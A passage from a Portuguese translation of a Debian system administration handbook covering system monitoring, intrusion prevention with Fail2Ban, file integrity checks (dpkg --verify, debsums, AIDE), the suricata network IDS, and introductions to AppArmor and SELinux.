Um evento de sistema é sempre sinalizado a menos que uma regra em um dos diretórios /etc/logcheck/ignore.d.{paranoid,server,workstation}/ indique que o evento deve ser ignorado. Naturalmente, os únicos diretórios levados em consideração são aqueles que correspondem aos níveis de verbosidade iguais ou maiores que o modo de funcionamento selecionado.

14.3.2. Monitorando Atividades

14.3.2.1. Em Tempo Real

top é uma ferramenta interativa que exibe uma lista de processos em execução. A ordem padrão baseia-se na quantidade atual de utilização do processador e pode ser obtida com a tecla P. Outras ordenações incluem ordenar por memória ocupada (tecla M), pelo tempo total do processador (tecla T) e pelo identificador de processo (tecla N). A tecla k permite matar um processo digitando seu identificador de processo. A tecla r permite fazer renice num processo, ou seja, mudar sua prioridade.

Quando o sistema parece estar sobrecarregado, top é uma ótima ferramenta para ver quais processos estão competindo por tempo de processador ou consumindo muita memória. Em particular, muitas vezes é interessante verificar se os processos que consomem recursos coincidem com os serviços reais conhecidos que a máquina hospeda. Um processo desconhecido rodando como usuário www-data deve realmente se destacar e ser investigado, já que é provavelmente uma instância de software instalado e executado no sistema através de uma vulnerabilidade em uma aplicação web.

top é uma ferramenta muito flexível e sua página de manual dá detalhes sobre como personalizar a sua exibição e adaptá-la às suas necessidades e hábitos pessoais.

A ferramenta gráfica gnome-system-monitor é semelhante ao top e proporciona mais ou menos os mesmos recursos.

14.3.2.2. História

Carga do processador, o tráfego de rede e o espaço livre no disco são informações que variam constantemente. Manter um histórico de sua evolução é muitas vezes útil para determinar exatamente como o computador é usado.

Existem muitas ferramentas dedicadas a esta tarefa. A maioria pode buscar dados via SNMP (Simple Network Management Protocol, a fim de centralizar esta informação. Um benefício adicional é que este permite buscar dados de elementos de rede que podem não ser de computadores de uso geral, tais como roteadores de rede dedicadas ou switches.

Este livro trata do Munin com algum detalhe (ver Seção 12.4.1, “Configurando o Munin”) como parte do Capítulo 12: “Administração Avançada”. O Debian também fornece uma ferramenta similar, o cacti. Sua implantação é um pouco mais complexa, pois se baseia apenas em SNMP. Apesar de ter uma interface web, a compreensão dos conceitos envolvidos na configuração ainda requer algum esforço. A leitura da documentação HTML (/usr/share/doc/cacti/html/Table-of-Contents.html) deve ser considerada um pré-requisito.

ALTERNATIVO mrtg

O mrtg (do pacote com mesmo nome) é uma antiga ferramenta. Apesar de ser meio difícil de trabalhar, ela pode agregar dados históricos e exibi-los na forma de gráficos. Ela inclui uma série de scripts dedicados à coleta de dados mais comumente monitorados, tais como a carga do processador, o tráfego de rede, acessos a páginas web, e assim por diante.

Os pacotes mrtg-contrib e mrtgutils contém scripts de exemplo que podem ser utilizados diretamente.

14.3.3. Evitando intrusões

Atacantes tentam obter acesso a servidores ao adivinhar senhas, por isso senhas fortes sempre devem ser usadas. E mesmo assim, você também deve estabelecer medidas contra ataques de força bruta. Um ataque de força bruta é uma tentativa de autenticação em um sistema de software não autorizado realizando múltiplas tentativas de acesso em um curto período de tempo.

A melhor maneira de parar um ataque de força bruta é limitar o número de tentativas de acesso vindo de uma mesma origem, geralmente banindo temporariamente um endereço IP.

Fail2Ban é uma suíte de software de prevenção de intrusão que pode ser configurada para monitorar qualquer serviço que escreva tentativas acesso em um arquivo de log. Ele pode ser encontrado no pacote fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:

fail2ban.conf. Configuração global (log, por exemplo).

filter.d/*.conf. Filtros que especificam como detectar falhas de autenticação. O pacote Debian já contém filtros para muitos programas comuns.

action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses.

jail.conf. Local onde os jails, as combinações de filtros e ações são definidas.

Vamos dar uma olhada na configuração do sshd em /etc/fail2ban/jail.conf para melhor entendimento de como Fail2Ban funciona...

[...] [DEFAULT] [...] bantime = 10m [...] findtime = 10m [...] maxretry = 5 [...] [sshd] port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s

Fail2Ban verificará por tentativas de acesso que falharam no sshd comparando expressões regulares Python definidas em /etc/fail2ban/filter.d/sshd.conf com o arquivo de log do sshd, que é definido na variável sshd_log no arquivo /etc/fail2ban/paths_common.conf. Se o Fail2Ban detectar cinco tentativas de acesso seguidas que falharam, ele banirá o endereço IP de onde se originaram essas tentativas por 10 minutos.

Para habilitar, desabilitar ou configurar “prisões“, o arquivo de configuração principal /etc/fail2ban/jail.conf não deve ser alterado. Em vez disso, deve ser feito em /etc/fail2ban/jail.d/defaults-debian.conf ou arquivos dentro do mesmo diretório.

Fail2Ban é uma maneira muito simples e eficaz de proteger contra a maioria dos ataques de força bruta mais comuns, mas não pode proteger contra ataques de força bruta distribuídos, que ocorre quando um invasor usa um grande número de máquinas espalhadas pela Internet.

Uma boa maneira de fornecer proteção extra contra ataques de força bruta distribuídos é aumentar artificialmente o tempo de login após cada tentativa de falha.

14.3.4. Detectando Modificações

Uma vez que o sistema esteja instalado e configurado, e impedindo atualizações de segurança, geralmente não há razão para a maioria dos arquivos e diretórios evoluírem, exceto os dados. É interessante, portanto, certificar-se de que os arquivos realmente não alteram: qualquer mudança seria assim inesperada, valendo a pena investigar. Esta seção apresenta algumas ferramentas capazes de monitorar os arquivos e para avisar o(a) administrador(a) quando ocorrer uma mudança inesperada (ou simplesmente para listar tais mudanças).

14.3.4.1. Auditando Pacotes com o dpkg --verify

INDO ALÉM Protegendo-se contra mudanças do desenvolvedor

dpkg --verify e debsums são úteis para detectar mudanças em arquivos provenientes de um pacote Debian, mas serão inúteis se o próprio pacote estiver comprometido, por exemplo, se o O espelho Debian está comprometido. A proteção contra essa classe de ataques envolve o uso do sistema de verificação de assinatura digital do APT (consulte Seção 6.6, “Verificando Autenticidade do Pacote”) e o cuidado de instalar apenas pacotes de origem certificada.

O dpkg --verify (ou dpkg -V) é uma ferramenta interessante já que permite encontrar quais arquivos instalados foram modificados (potencialmente por um invasor), mas isso é apenas um pequeno passo. Para fazer seu trabalho ele confia nos checksums armazenados no próprio banco de dados do dpkg, que é armazenado no disco rígido (eles podem ser encontrados em /var/lib/dpkg/info/pacote.md5sums); Um atacante que faz o serviço bem feito irá atualizar esses arquivos para que eles contenham os novos checksums dos arquivos subvertidos.

DE VOLTA AO BÁSICO Impressão digital de arquivo

Como lembrete: uma impressão digital é um valor, muitas vezes um número (mesmo que em notação hexadecimal), que contém uma espécie de assinatura para o conteúdo de um arquivo. Esta assinatura é calculada com um algoritmo, por ex. MD5 via md5sum ou SHA* via vários comandos sha* são exemplos bem conhecidos, que mais ou menos garantem que mesmo a mais ínfima alteração no conteúdo do arquivo implica uma alteração no impressão digital; isso é conhecido como “efeito avalanche”. Isso permite que uma impressão digital numérica simples sirva como um teste decisivo para verificar se o conteúdo de um arquivo foi alterado. Esses algoritmos não são reversíveis; ou seja, para a maioria deles, conhecer uma impressão digital não permite encontrar o conteúdo correspondente. Avanços matemáticos recentes parecem enfraquecer o caráter absoluto desses princípios, mas seu uso não é questionado até agora, pois criar diferentes conteúdos com a mesma impressão digital ainda parece ser uma tarefa bastante difícil.

Ao rodar dpkg -V todos os pacotes instalados serão verificados e será impressa uma linha para cada arquivo que falhar em algum teste. O formato de saída é o mesmo que o do rpm -V onde cada caractere denota um teste em algum metadado específico. Infelizmente o dpkg não armazena o metadado necessário para a maioria dos testes e irá, assim, exibir uma interrogação para estes. Atualmente apenas o teste de checksum pode render um "5" no terceiro caractere (quando ele falha).

# dpkg -V ??5?????? /lib/systemd/system/ssh.service ??5?????? c /etc/libvirt/qemu/networks/default.xml ??5?????? c /etc/lvm/lvm.conf ??5?????? c /etc/salt/roster

In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the "c" letter on the second field) that had been legitimately modified.

14.3.4.2. Auditando Pacotes: debsums e seus limites

debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds).

Já que dados no disco não são confiáveis, o debsums oferece fazer sua checagem com base nos arquivos .deb ao invés de confiar no banco de dados do dpkg. Para baixar arquivos .deb confiáveis de todos os pacotes instalados, nós podemos confiar nos downloads autenticados pelo APT. Essa operação pode ser lenta e tediosa, e deve assim, não ser considerada uma técnica proativa a ser usada no cotidiano.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all

Note que este exemplo usa o comando grep-status do pacote dctrl-tools, que não é instalado por padrão.

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. Monitorando Arquivos: AIDE

A ferramenta AIDE (Advanced Intrusion Detection Environment - Ambiente Avançado de Detecção de Intrusão) permite verificar a integridade de arquivos, e detectar qualquer mudança em relação a uma imagem gravada anteriormente do sistema válido. Esta imagem é armazenada como um banco de dados ( /var/lib/aide/aide.db) que contém as informações relevantes de todos os arquivos do sistema (impressões digitais, permissões, timestamps e assim por diante). Este banco de dados é inicializado com aideinit, que é então usado diariamente (pelo script /etc/cron.daily/ ) para verificar que nada de relevante mudou. Quando alterações são detectadas, AIDE grava em arquivos de log (/var/log/aide/*.log) e envia os seus resultados ao administrador por e-mail.

NA PRÁTICA Protegendo o banco de dados

Como AIDE usa um banco de dados local para comparar os estados dos arquivos, a validade de seus resultados está diretamente ligada à validade do banco de dados. Se um atacante obtém permissões de root em um sistema comprometido, ele será capaz de substituir o banco de dados e cobrir seus rastros. Uma possível solução seria armazenar os dados de referência em mídia de armazenamento que seja somente leitura.

Muitas opções em /etc/default/aide podem ser usadas para ajustar o comportamento do pacote aide. A configuração AIDE adequada é armazenada em /etc/aide/aide.conf e /etc/aide/aide.conf.d/ (na verdade, esses arquivos são usados apenas pelo update-aide.conf para gerar /var/lib/aide/aide.conf.autogenerated). A configuração indica quais propriedades de quais arquivos precisam ser verificadas. Por exemplo, o conteúdo de arquivos log muda rotineiramente, e estas modificações podem ser ignoradas, desde que as permissões destes arquivos permaneçam as mesmas, mas tanto o conteúdo quanto as permissões de programas executáveis devem ser constantes. Embora não seja muito complexa, a sintaxe de configuração não é totalmente intuitiva, e a leitura da página de manual aide.conf(5) é recomendada.

Uma nova versão do banco de dados é gerada diariamente em /var/lib/aide/aide.db.new; se todas as alterações registradas eram legítimas, ele pode ser usado para substituir o banco de dados de referência.

ALTERNATIVO Tripwire and Samhain

Tripwire é muito semelhante ao AIDE; até a sintaxe do arquivo de configuração é quase a mesma. A principal melhoria do tripwire é um mecanismo para assinar o arquivo de configuração, de modo que um atacante não pode fazer ele apontar para uma versão diferente do banco de dados de referência.

Samhain também oferece características semelhantes, bem como algumas funções para ajudar a detectar rootkits (veja a barra lateral OLHADA RÁPIDA os pacotes checksecurity e chkrootkit/rkhunter). Também pode ser publicado globalmente em uma rede, e gravar os seus "traces" em um servidor central (com uma assinatura).

OLHADA RÁPIDA os pacotes checksecurity e chkrootkit/rkhunter

O primeiro destes pacotes contém vários pequenos scripts que executam verificações básicas sobre o sistema (senhas vazias, arquivos setuid novos, e assim por diante) e alerta o administrador, se necessário. Apesar de seu nome explícito, um administrador não deve confiar somente nele para certificar-se que um sistema Linux está seguro.

Os pacotes chkrootkit e rkhunter permitem buscar por potenciais rootkits instalados no sistema. Como um lembrete, existem peças de software desenvolvidas para esconder o comprometimento de um sistema enquanto, discretamente, mantém o controle da máquina. Os testes não são 100% confiáveis, mas eles geralmente chamam a atenção do administrador para potenciais problemas.

rkhunter também realiza verificações para ver se os comandos foram modificados, se os arquivos de inicialização do sistema foram modificados, e várias verificações sobre as interfaces de rede, incluindo controles de aplicativos em escuta.

14.3.5. Detectando Intrusões (IDS/NIDS)

DE VOLTA AO BÁSICO Negação de serviço

Um ataque "negação de serviço" tem apenas um objetivo: tornar um serviço indisponível. Se tal ataque envolve a sobrecarrega do servidor com consultas ou explorar uma falha, o resultado final é o mesmo: o serviço não é mais operacional. Os usuários regulares estão infelizes, e a entidade que hospeda o serviço de rede alvo sofre uma perda de reputação (e, eventualmente, em receita, por exemplo, se o serviço era um site de comércio eletrônico).

Tal ataque é por vezes "distribuído", o que geralmente envolve sobrecarregar o servidor com um grande número de consultas provenientes de muitas fontes diferentes para que o servidor se torne incapaz de responder às perguntas legítimas. Estes tipos de ataques ganharam siglas bem conhecidas: DDoS e DoS (dependendo se o ataque de negação de serviço é distribuído ou não).

suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata.io

→ https://www.elastic.co/products/kibana

ATENÇÃO Raio de ação

A eficácia do suricata é limitada pelo tráfego visto na interface de rede monitorada. Obviamente, não será capaz de detectar qualquer coisa se não pode observar o tráfego real. Quando conectado a um switch de rede, ele irá, portanto, apenas monitorar ataques contra a máquina em que ele roda, o que provavelmente não é a intenção. A máquina que hospeda o suricata deve estar ligada a porta "espelho" do switch, que normalmente é dedicada aos interruptores (switches) encadeados e, portanto, recebe todo o tráfego.

Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation.

Além disso, você também deve editá-lo para definir a interface da rede. Você também pode querer definir LISTENMODE=pcap porque o LISTENMODE=nfqueue padrão requer configuração adicional para funcionar corretamente (o firewall netfilter deve ser configurado para passar pacotes para alguma fila de espaço do usuário manipulada por suricata por meio do destino NFQUEUE).

Para detectar mau comportamento, suricata precisa de um conjunto de regras de monitoramento: você pode encontrar essas regras no pacote snort-rules-default. O snort é a referência histórica no ecossistema IDS e suricata é capaz de reutilizar regras escritas para ele.

Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources.

INDO ALÉM Integração com o prelude

Prelude traz monitoramento centralizado de informações de segurança. Sua arquitetura modular inclui um servidor (o gerente manager em prelude-manager) que reúne os alertas gerados por sensores de vários tipos.

O Suricata pode ser configurado como um destes sensores. Outras possibilidades incluem prelude-lml (Log Monitor Lackey), que monitora os arquivos de log (de forma semelhante ao logcheck, descrito em Seção 14.3.1, “Monitoramento de Logs com logcheck”).

14.4. Introdução ao AppArmor

14.4.1. Princípios

AppArmor é um sistema de Controle de Acesso Mandatório (MAC - Mandatory Access Control) construído sobre a interface LSM (Linux Security Modules) do Linux. Na prática, o kernel consulta o AppArmor antes de cada chamada do sistema para saber se o processo está autorizado a fazer a operação dada. Através desse mecanismo, o AppArmor confina programas a um conjunto limitado de recursos.

O AppArmor aplica um conjunto de regras (conhecidas como “perfil”) em cada programa. O perfil aplicado pelo kernel depende do caminho de instalação do programa sendo executado. Ao contrário do SELinux (discutido em Seção 14.5, “Introdução ao SELinux”), as regras aplicadas não dependem do(a) usuário(a). Todos(as) os(as) usuários(as) encontram o mesmo conjunto de regras quando executam o mesmo programa (mas permissões tradicionais de usuário(a) ainda se aplicam e podem resultar em comportamentos diferentes!).

Os perfis AppArmor são armazenados em /etc/apparmor.d/ e eles contém uma lista de regras de controle de acesso em recursos que cada programa pode fazer uso. Os perfis são compilados e carregados no núcleo pelo comando apparmor_parser. Cada perfil pode ser carregado tanto em modo de aplicação ("enforcing") quanto em modo de registro ("complaining"). O primeiro aplica a política e reporta as tentativas de violação, enquanto que o último não aplica a política mas mantém os registros de chamadas de sistema que deveriam ter sido negadas.

14.4.2. Habilitando o AppArmor e gerenciando os perfis AppArmor

O suporte do AppArmor está embutido nos kernels padrão fornecidos pelo Debian. Habilitar o AppArmor é, portanto, apenas uma questão de instalar alguns pacotes executando apt install apparmor apparmor-profiles apparmor-utils com privilégios de root.

O AppArmor está agora funcional após a instalação e o comando aa-status confirmará isso rapidamente:

# aa-status o módulo apparmor é carregado. 32 perfis são carregados. 15 perfis estão no modo de imposição. /usr/bin/man [...] 17 perfis estão em modo de reclamação. /usr/sbin/dnsmasq [...] 1 processos têm perfis definidos. 1 processos estão em modo de imposição. /usr/sbin/libvirtd (468) libvirtd 0 processos estão em modo de reclamação. 0 processos não são confinados, mas têm um perfil definido.

NOTA Mais perfis AppArmor

O pacote apparmor-profiles contém perfis gerenciados pela comunidade upstream do AppArmor. Para obter ainda mais perfis você pode instalar o apparmor-profiles-extra que contém perfis desenvolvidos pelo Ubuntu e Debian.

O estado de cada perfil pode ser alterado entre aplicação (enforcing) e registro (complaining) com chamadas para aa-enforce e aa-complain, passando como parâmetro tanto o caminho para o executável como o caminho para o arquivo de políticas. Além disso, um perfil pode ser inteiramente desabilitado com aa-disable ou posto em modo auditar (audit) (para também aceitar chamadas de sistema) com aa-audit.

# aa-enforce /usr/bin/pidgin Setting /usr/bin/pidgin to enforce mode. # aa-complain /usr/sbin/dnsmasq Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Criando um novo perfil

Mesmo sendo bem fácil criar um perfil AppArmor, a maioria dos programas não tem um. Essa seção irá mostrar a você como criar um novo perfil a partir do zero apenas usando o programa alvo e deixando o AppArmor monitorar a chamada de sistema que ele faz e os recursos que ele acessa.

Os programas mais importantes que precisam ser confinados são os programas voltados para a rede, pois são mais atrativos à ataques remotos. É por isso que o AppArmor convenientemente fornece o comando aa-unconfined para listar os programas que não tem perfil associado e que expõem um soquete de rede aberto. Com a opção --paranoid você tem todos os processos não confinados que tem ao menos uma conexão de rede ativa.

# aa-não confinado 451 /usr/bin/containerd não confinado 467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [ouvinte] 0 de 10-100 inicializações) não confinado 892 /usr/sbin/exim4 não confinado

No exemplo a seguir, tentaremos criar um perfil para /sbin/dhclient (já existe um perfil enviado por apparmor-profiles, então você pode comparar seus resultados com o oficial). Para isso usaremos aa-genprof dhclient. Ele irá convidá-lo a usar o aplicativo em outra janela e, quando terminar, voltar para aa-genprof para verificar eventos do AppArmor nos logs do sistema e converter esses logs em regras de acesso. Para cada evento registrado, ele fará uma ou mais sugestões de regras que você pode aprovar ou editar posteriormente de várias maneiras:

# aa-genprof dhclient Writing updated profile for /usr/sbin/dhclient. Setting /usr/sbin/dhclient to complain mode. Before you begin, you may wish to check if a profile already exists for the application you wish to confine. See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish S Reading log entries from /var/log/syslog. Profile: /usr/sbin/dhclient Execute: /usr/sbin/dhclient-script Severity: unknown (I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish P Should AppArmor sanitise the environment when switching profiles? Sanitising environment is more secure, but some applications depend on the presence of LD_PRELOAD or LD_LIBRARY_PATH. [(Y)es] / (N)o Y Writing updated profile for /usr/sbin/dhclient-script. Complain-mode changes: Profile: /usr/sbin/dhclient Capability: net_raw Severity: 8 [1 - capability net_raw,] (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding capability net_raw, to profile. Profile: /usr/sbin/dhclient Capability: net_bind_service Severity: 8 [1 - #include <abstractions/nis>] 2 - capability net_bind_service, (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding #include <abstractions/nis> to profile. Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/openssl> 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish 2 Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 1 - #include <abstractions/lightdm> [2 - #include <abstractions/openssl>] 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, [(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore A [...] Profile: /usr/sbin/dhclient-script Path: /usr/bin/dash New Mode: owner r Severity: unknown 1 - #include <abstractions/gvfs-open> [2 - #include <abstractions/lightdm>] 3 - #include <abstractions/ubuntu-browsers.d/plugins-common> 4 - #include <abstractions/xdg-open> 5 - owner /usr/bin/dash r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish A Adding #include <abstractions/lightdm> to profile. Deleted 2 previous matching profile entries. = Changed Local Profiles = The following local profiles were changed. Would you like to save them? [1 - /usr/sbin/dhclient] 2 - /usr/sbin/dhclient-script (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t S Writing updated profile for /usr/sbin/dhclient. Writing updated profile for /usr/sbin/dhclient-script. Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish F Setting /usr/sbin/dhclient to enforce mode. Setting /usr/sbin/dhclient-script to enforce mode. Reloaded AppArmor profiles in enforce mode. Please consider contributing your new profile! See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Finished generating profile for /usr/sbin/dhclient.

Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript.

O primeiro evento detectado é a execução de outro programa. Neste caso, você tem múltiplas escolhas: você pode rodar o programa com o perfil do processo pai (a escolha “Inherit”), você pode rodá-lo com seu próprio e dedicado perfil (as escolhas “Profile” e “Named”, diferindo apenas pela possibilidade de usar um nome de perfil arbitrário), você pode rodá-lo com um sub-perfil do processo pai (a escolha “Child”), você pode rodá-lo sem qualquer perfil (a escolha “Unconfined”) ou você pode decidir não rodá-lo de forma alguma (a escolha “Deny”).

Note que quando você opta por rodá-lo sob um perfil dedicado que não existe ainda, a ferramenta irá criar o perfil em falta para você e irá fazer sugestões de regras para esse perfil nesta mesma execução.

A nível do kernel, os poderes especiais do usuário root foram divididos em "recursos" ("capabilities"). Quando uma chamada de sistema requer um recurso específico, o AppArmor irá verificar se o perfil permite ao programa fazer uso desse recurso.

Aqui o programa busca por permissões de leitura para /etc/ssl/openssl.cnf. O aa-genprof detectou que essa permissão foi também obtida por múltiplas "abstrações” e as oferece como escolhas alternativas. Uma abstração fornece um conjunto de regras de acesso reutilizável, reunindo múltiplos recursos que são comumente usados juntos. Nesse caso específico, o arquivo é geralmente acessado através das funções relacionadas ao serviço de nomes da biblioteca C e nós digitamos “2” para primeiro selecionarmos a opção “#include <abstractions/openssl>” e então “A” para dar a permissão.

Note que essa requisição de acesso não é parte do perfil do dhclient, mas do novo perfil que nós criamos quando permitimos /usr/sbin/dhclient-script executar com seu próprio perfil.

Após termos passado por todos os eventos registrados, o programa se oferece para salvar todos os perfis que foram criados durante sua execução. Neste caso, nós temos dois perfis que nós salvamos ao mesmo tempo com "Salvar" (“Save”) (mas você pode salvá-los individualmente também) antes de sair do programa com "Terminar" (“Finish”).

O aa-genprof é na realidade apenas um envoltório inteligente em volta do aa-logprof: ele cria um perfil vazio, carrega-o em modo de registro ("complain mode") e então roda o aa-logprof que é uma ferramenta para atualizar um perfil com base nas violações de perfil que foram registradas. Então você pode rodar novamente essa ferramenta mais tarde para aprimorar o perfil que você acabou de criar.

Se desejar que o perfil gerado fique completo, você deve usar o programa de todas as maneiras legítimas. No caso do dhclient, isso significa executá-lo via Network Manager, executá-lo via ifupdown, executando-o manualmente, etc. No final, você deve obter um /etc/apparmor.d/usr.sbin.dhclient próximo ao perfil enviado por apparmor-profiles em /usr/share/apparmor/extra-profiles/sbin.dhclient.

E /etc/apparmor.d/usr.sbin.dhclient-script pode ser semelhante a /usr/share/apparmor/extra-profiles/sbin.dhclient, enviado em apparmor-profiles também.

14.5. Introdução ao SELinux

14.5.1. Princípios

SELinux (Security Enhanced Linux) é um sistema de controle de acesso obrigatório construído sobre a interface LSM (Linux Security Modules) do Linux. Na prática, o kernel consulta o SELinux antes de cada chamada do sistema para saber se o processo está autorizado a fazer a operação dada.

SELinux utiliza um conjunto de regras - conhecidas coletivamente como uma política - para autorizar ou proibir as operações. Essas regras são difíceis de criar. Felizmente, duas diretivas padrão (targeted e strict) são fornecidas para evitar a maior parte do trabalho de configuração.

Com o SELinux, a gestão dos direitos é completamente diferente do sistema Unix tradicional. Os direitos de um processo depende de seu contexto de segurança. O contexto é definido pela identidade do usuário que iniciou o processo, o papel e o domínio que o usuário realizada naquele momento. Os direitos realmente dependem do domínio, mas transições entre os domínios são controladas pelos papéis. Finalmente, as transições possíveis entre os papéis dependem da identidade.

Figura 14.1. Contextos de segurança e usuários Unix

Na prática, durante o login, ao usuário é atribuído um contexto de segurança padrão (dependendo das funções que eles devem ser capazes de endossar). Isto define o domínio corrente e, assim, o domínio que todos os novos processos filho irão transportar. Se você quiser alterar o papel atual e seu domínio associado, você deve chamar newrole-r role_r -t domain_t (normalmente há apenas um único domínio permitido para uma determinada função, o parâmetro -t pode, assim, muitas vezes, ser deixado de fora). Este comando autentica você pedindo que você digite sua senha. Este recurso proíbe programas mudarem automaticamente os papéis. Tais mudanças só podem acontecer se forem expressamente permitidas pela política SELinux.

Obviamente, os direitos não se aplicam a todos os objetos (arquivos, diretórios, soquetes, dispositivos, etc.). Eles podem variar de objeto para objeto. Para conseguir isso, cada objeto é associado a um tipo (isto é conhecido como etiquetagem). Direitos de domínio são, portanto, expressos com conjuntos de operações (não) permitidos sobre os tipos (e, indiretamente, em todos os objetos que são etiquetados com o tipo de dado).

EXTRA Domínios e Tipos são equivalentes

Internamente um domínio é apenas um tipo, mas um tipo que só se aplica a processos. É por isso que os domínios tem sufixo _t igual aos tipos de objeto.

Por padrão, um programa herda seu domínio do usuário que o iniciou, mas políticas SELinux padrões esperam que muitos programas importantes sejam executados em domínios dedicados. Para conseguir isso, estes executáveis são marcados com um tipo específico (por exemplo ssh) é marcado com ssh_exec_t, e quando o programa é iniciado, ele muda automaticamente no domínio ssh_t). Este mecanismo de transição automática de domínio torna possível conceder apenas os direitos necessários para cada programa. É um princípio fundamental do SELinux.

Figura 14.2. Transições automáticas entre domínios

NA PRÁTICA Encontrar o contexto de segurança

Para encontrar o contexto de segurança atual em um shell, você deve chamar id-Z.

$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Se você, por outro lado, receber uma mensagem dizendo id: --context (-Z) funciona apenas em um kernel habilitado para SELinux então, você precisa habilitar o SELinux primeiro, executando selinux-activate e reiniciando.

Para encontrar o contexto de segurança de um determinado processo, você deve usar a opção Z do ps.

$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

O primeiro campo contém a identidade, o papel, o domínio e o nível MCS, separados por vírgulas. O nível de MCS (Multi-Category Security) é um parâmetro que intervém na configuração de uma política de proteção da confidencialidade, que regula o acesso a arquivos com base em sua sensibilidade. Esta funcionalidade não será explicada neste livro.

Finalmente, para encontrar o tipo atribuído a um arquivo, você pode usar o ls -Z.

$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

É interessante notar que a identidade e o papel atribuído a um arquivo não têm qualquer importância especial (eles nunca são usados), mas por uma questão de uniformidade, todos os objetos são atribuídos num contexto de segurança completo.

14.5.2. Configurando o SELinux

O suporte SELinux é construído nos kernels padrões fornecidos pelo Debian. As principais ferramentas de suporte Unix SELinux sem quaisquer modificações. É, assim, relativamente fácil, habilitar SELinux.

The apt install selinux-basics selinux-policy-default auditd command will automatically install the packages required to configure an SELinux system.

O pacote selinux-policy-default contém um conjunto de regras padrão. Por padrão, essa política só restringe o acesso a alguns serviços amplamente expostos. As sessões de usuários não estão restritas e, portanto, é improvável que o SELinux iria bloquear as operações legítimas do usuário. No entanto, isso faz aumentar a segurança dos serviços do sistema rodando na máquina. Para configurar uma política corresponde à antigo regra "strict", você só tem que desativar o módulo unconfined (gerenciamento de módulos está detalhada ainda nesta seção).

Uma vez que a política tenha sido instalada, você deve marcar todos os arquivos disponíveis (o que significa atribuir-lhes um tipo). Esta operação deve ser iniciada manualmente com fixfiles relabel.

O sistema SELinux agora está pronto. Para habilitá-lo, você deve adicionar o parâmetro selinux=1 security=selinux para o kernel Linux. O parâmetro audit=1 habilita o log SELinux que registra todas as operações negadas. Finalmente, o parâmetro enforcing=1 traz as regras para aplicação: sem ele SELinux funciona no modo padrão permissive onde as ações negadas são registradas, mas ainda executadas. Você deve, portanto, modificar o arquivo de configuração do GRUB para anexar os parâmetros desejados. Uma maneira fácil de fazer isso é modificar a variável GRUB_CMDLINE_LINUX em /etc/default/grub e executar update-grub. SELinux estará ativo após uma reinicialização.

É interessante notar que o script selinux-activate automatiza as operações e força uma rotulagem na próxima inicialização (o que evita criação de novos arquivos não-rotulados enquanto o SELinux ainda não estiver ativo, e enquanto a rotulagem estiver acontecendo).

14.5.3. Gerenciando um Sistema SELinux

